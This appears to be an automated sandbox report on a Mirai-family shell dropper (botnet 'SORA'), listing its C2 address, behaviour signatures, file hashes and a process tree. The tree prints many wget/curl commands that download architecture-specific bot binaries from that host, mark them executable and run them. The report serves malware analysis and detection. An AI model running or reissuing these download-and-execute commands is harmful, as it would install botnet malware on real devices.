Analysis

  • max time kernel
    17s
  • max time network
    19s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/10/2026, 09:05

General

  • Target
    pulse.sh
  • Size 2KB
  • Sample261027-k2d3nasybx
  • SHA256 7ef887224a88a3ee38fd0ac9f4de6e53f959fadc42e0cdfb4fbb2bcacc362f60
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • 204.194.50.3

Extracted

Family
  • mirai

Botnet
  • SORA

C2
  • 204.194.50.3

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 2 IoCs
  • Mirai Renesas payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 29 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pulse.sh
    /tmp/pulse.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:651
    • /usr/bin/wget
      wget http://204.194.50.3/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:656
    • /usr/bin/curl
      curl -O http://204.194.50.3/bins/sora.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:680
    • /bin/cat
      cat sora.x86
      2⤵
        PID:681
      • /bin/chmod
        chmod +x pulse.sh robben sora.x86 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
        2⤵
        • File and Directory Permissions Modification
        PID:682
      • /tmp/robben
        ./robben pulse.exploit
        2⤵
          PID:683
        • /usr/bin/wget
          wget http://204.194.50.3/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:685
        • /usr/bin/curl
          curl -O http://204.194.50.3/bins/sora.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:700
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:724
        • /bin/chmod
          chmod +x pulse.sh robben sora.mips sora.x86 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
          2⤵
          • File and Directory Permissions Modification
          PID:726
        • /tmp/robben
          ./robben pulse.exploit
          2⤵
            PID:728
          • /usr/bin/wget
            wget http://204.194.50.3/bins/sora.x86_64
            2⤵
              PID:731
            • /usr/bin/curl
              curl -O http://204.194.50.3/bins/sora.x86_64
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:737
            • /bin/cat
              cat sora.x86_64
              2⤵
                PID:738
              • /bin/chmod
                chmod +x pulse.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                2⤵
                • File and Directory Permissions Modification
                PID:739
              • /tmp/robben
                ./robben pulse.exploit
                2⤵
                  PID:740
                • /usr/bin/wget
                  wget http://204.194.50.3/bins/sora.i468
                  2⤵
                    PID:741
                  • /usr/bin/curl
                    curl -O http://204.194.50.3/bins/sora.i468
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:751
                  • /bin/cat
                    cat sora.i468
                    2⤵
                      PID:770
                    • /bin/chmod
                      chmod +x pulse.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                      2⤵
                      • File and Directory Permissions Modification
                      PID:772
                    • /tmp/robben
                      ./robben pulse.exploit
                      2⤵
                        PID:773
                      • /usr/bin/wget
                        wget http://204.194.50.3/bins/sora.i686
                        2⤵
                          PID:775
                        • /usr/bin/curl
                          curl -O http://204.194.50.3/bins/sora.i686
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:777
                        • /bin/cat
                          cat sora.i686
                          2⤵
                            PID:778
                          • /bin/chmod
                            chmod +x pulse.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                            2⤵
                            • File and Directory Permissions Modification
                            PID:779
                          • /tmp/robben
                            ./robben pulse.exploit
                            2⤵
                              PID:780
                            • /usr/bin/wget
                              wget http://204.194.50.3/bins/sora.mpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:781
                            • /usr/bin/curl
                              curl -O http://204.194.50.3/bins/sora.mpsl
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:782
                            • /bin/cat
                              cat sora.mpsl
                              2⤵
                                PID:783
                              • /bin/chmod
                                chmod +x pulse.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                2⤵
                                • File and Directory Permissions Modification
                                PID:784
                              • /tmp/robben
                                ./robben pulse.exploit
                                2⤵
                                  PID:785
                                • /usr/bin/wget
                                  wget http://204.194.50.3/bins/sora.arm4
                                  2⤵
                                    PID:787
                                  • /usr/bin/curl
                                    curl -O http://204.194.50.3/bins/sora.arm4
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:788
                                  • /bin/cat
                                    cat sora.arm4
                                    2⤵
                                      PID:789
                                    • /bin/chmod
                                      chmod +x pulse.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:790
                                    • /tmp/robben
                                      ./robben pulse.exploit
                                      2⤵
                                        PID:791
                                      • /usr/bin/wget
                                        wget http://204.194.50.3/bins/sora.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:792
                                      • /usr/bin/curl
                                        curl -O http://204.194.50.3/bins/sora.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:793
                                      • /bin/cat
                                        cat sora.arm5
                                        2⤵
                                          PID:794
                                        • /bin/chmod
                                          chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:795
                                        • /tmp/robben
                                          ./robben pulse.exploit
                                          2⤵
                                            PID:796
                                          • /usr/bin/wget
                                            wget http://204.194.50.3/bins/sora.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:797
                                          • /usr/bin/curl
                                            curl -O http://204.194.50.3/bins/sora.arm6
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:798
                                          • /bin/cat
                                            cat sora.arm6
                                            2⤵
                                              PID:799
                                            • /bin/chmod
                                              chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:800
                                            • /tmp/robben
                                              ./robben pulse.exploit
                                              2⤵
                                              • Reads runtime system information
                                              PID:801
                                            • /usr/bin/wget
                                              wget http://204.194.50.3/bins/sora.arm7
                                              2⤵
                                                PID:802
                                              • /usr/bin/curl
                                                curl -O http://204.194.50.3/bins/sora.arm7
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:803
                                              • /bin/cat
                                                cat sora.arm7
                                                2⤵
                                                  PID:804
                                                • /bin/chmod
                                                  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:805
                                                • /tmp/robben
                                                  ./robben pulse.exploit
                                                  2⤵
                                                    PID:806
                                                  • /usr/bin/wget
                                                    wget http://204.194.50.3/bins/sora.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:807
                                                  • /usr/bin/curl
                                                    curl -O http://204.194.50.3/bins/sora.ppc
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:808
                                                  • /bin/cat
                                                    cat sora.ppc
                                                    2⤵
                                                      PID:809
                                                    • /bin/chmod
                                                      chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:810
                                                    • /tmp/robben
                                                      ./robben pulse.exploit
                                                      2⤵
                                                        PID:811
                                                      • /usr/bin/wget
                                                        wget http://204.194.50.3/bins/sora.ppc440fp
                                                        2⤵
                                                          PID:813
                                                        • /usr/bin/curl
                                                          curl -O http://204.194.50.3/bins/sora.ppc440fp
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:814
                                                        • /bin/cat
                                                          cat sora.ppc440fp
                                                          2⤵
                                                            PID:815
                                                          • /bin/chmod
                                                            chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:816
                                                          • /tmp/robben
                                                            ./robben pulse.exploit
                                                            2⤵
                                                              PID:817
                                                            • /usr/bin/wget
                                                              wget http://204.194.50.3/bins/sora.m68k
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:818
                                                            • /usr/bin/curl
                                                              curl -O http://204.194.50.3/bins/sora.m68k
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:820
                                                            • /bin/cat
                                                              cat sora.m68k
                                                              2⤵
                                                                PID:822
                                                              • /bin/chmod
                                                                chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:823
                                                              • /tmp/robben
                                                                ./robben pulse.exploit
                                                                2⤵
                                                                  PID:824
                                                                • /usr/bin/wget
                                                                  wget http://204.194.50.3/bins/sora.sh4
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:826
                                                                • /usr/bin/curl
                                                                  curl -O http://204.194.50.3/bins/sora.sh4
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:827
                                                                • /bin/cat
                                                                  cat sora.sh4
                                                                  2⤵
                                                                    PID:828
                                                                  • /bin/chmod
                                                                    chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 systemd-private-65fc85c1c3b44604816764b7b94d2e95-systemd-timedated.service-y2a8M1
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:829
                                                                  • /tmp/robben
                                                                    ./robben pulse.exploit
                                                                    2⤵
                                                                      PID:830

                                                                  Network

                                                                        MITRE ATT&CK Enterprise v16

                                                                        Replay Monitor

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                                                                        Downloads

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 28KB
                                                                        • SHA256 02d1745fc1932ca560190c8f9850320f6374255df0e7f91bdcd8cea323567ca4
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 214B
                                                                        • SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
                                                                        • MD5 SHA1 SHA512 TLSH

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 212B
                                                                        • SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
                                                                        • MD5 SHA1 SHA512 TLSH

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 64KB
                                                                        • SHA256 b25cd22b59b8516fdfdd54c7f0dc2356ce883aea4e87f659f2ca66d214726fa4
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        sora.x86

                                                                        • Path /tmp/sora.x86
                                                                        • Size 27KB
                                                                        • SHA256 d416e786af64b877744b04d16f6134503993c9f1bb43427c4790fae615833e0c
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH